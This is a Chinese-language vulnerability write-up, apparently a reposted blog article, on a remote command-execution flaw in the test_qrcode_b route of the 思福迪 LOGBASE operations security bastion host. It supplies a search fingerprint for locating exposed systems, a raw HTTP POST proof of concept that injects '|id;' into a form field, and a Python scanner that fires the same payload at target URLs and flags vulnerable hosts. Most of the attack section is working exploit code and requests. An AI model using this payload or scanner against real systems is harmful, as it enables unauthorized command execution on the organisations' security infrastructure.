免責(zé)聲明:請(qǐng)勿利用文章內(nèi)的相關(guān)技術(shù)從事非法測(cè)試,由于傳播、利用此文所提供的信息或者工具而造成的任何直接或者間接的后果及損失,均由使用者本人負(fù)責(zé),所產(chǎn)生的一切不良后果與文章作者無關(guān)。該文章僅供學(xué)習(xí)用途使用。
一、漏洞描述
思福迪運(yùn)維安全管理系統(tǒng)是思福迪開發(fā)的一款運(yùn)維安全管理堡壘機(jī)。思福迪運(yùn)維安全管理系統(tǒng) test_qrcode_b 路由存在命令執(zhí)行漏洞。
二、漏洞影響
思福迪 運(yùn)維安全管理系統(tǒng)
三、網(wǎng)絡(luò)測(cè)繪
app=“思福迪-LOGBASE”
四、漏洞復(fù)現(xiàn)
登陸頁面
1.手動(dòng)復(fù)現(xiàn)
驗(yàn)證POC
POST /bhost/test_qrcode_b HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
Content-Length: 23
Connection: close
Content-Type: application/x-www-form-urlencoded
Referer: http://xxx.xxx.xxx.xxx
Accept-Encoding: gzip
z1=1&z2="|id;"&z3=bhost
burp截圖
2.自動(dòng)化復(fù)現(xiàn)
小龍POC檢測(cè)腳本正式開源,請(qǐng)各路大神完善和批評(píng)
小龍POCexe傳送門: 小龍POC工具
小龍POC開源傳送門: 小龍POC工具文章來源:http://www.zghlxwxcb.cn/news/detail-765926.html
3.python源代碼
# SFDI_Security_Management_System_test_qrcode_b_Command_Vuln_Scan.py
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
from requests.exceptions import Timeout
def Scan_SFDI_Security_Management_System_test_qrcode_b_Command_Vuln(url, proxies, headers, append_to_output):
proxies = {
'http': 'http://127.0.0.1:8080',
'https': 'http://127.0.0.1:8080'
}
if url.endswith("/"):
path = "bhost/test_qrcode_b"
else:
path = "/bhost/test_qrcode_b"
if not url.startswith('http://') and not url.startswith('https://'):
url = 'http://' + url
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36",
"Content-Length": "23",
"Connection": "close",
"Content-Type": "application/x-www-form-urlencoded",
"Referer": url,
"Accept-Encoding": "gzip",
}
encodetext = url + path
data='''z1=1&z2="|id;"&z3=bhost'''
append_to_output("===================================================================", "green")
append_to_output(f"掃描目標(biāo): {url}", "yellow")
try:
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
req1 = requests.post(encodetext, data=data, headers=headers, verify=False, timeout=20, proxies=proxies)
if req1.status_code == 200 and 'uid' in req1.text:
append_to_output(f"[+] {url} 存在思福迪 運(yùn)維安全管理系統(tǒng) test_qrcode_b 遠(yuǎn)程命令執(zhí)行漏洞!?。?!", "red")
else:
append_to_output(f"[-] {url} 不存在思福迪 運(yùn)維安全管理系統(tǒng) test_qrcode_b 遠(yuǎn)程命令執(zhí)行漏洞", "green")
except Timeout:
append_to_output(f"[!] 請(qǐng)求超時(shí),跳過URL: {url}", "yellow")
except Exception as e:
if 'HTTPSConnectionPool' in str(e) or 'Burp Suite Professional' in str(e):
append_to_output(f"[-] {url} 證書校驗(yàn)錯(cuò)誤或者證書被拒絕", "yellow")
else:
append_to_output(str(e), "yellow")
文章來源地址http://www.zghlxwxcb.cn/news/detail-765926.html
到了這里,關(guān)于思福迪 運(yùn)維安全管理系統(tǒng) test_qrcode_b 遠(yuǎn)程命令執(zhí)行漏洞的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!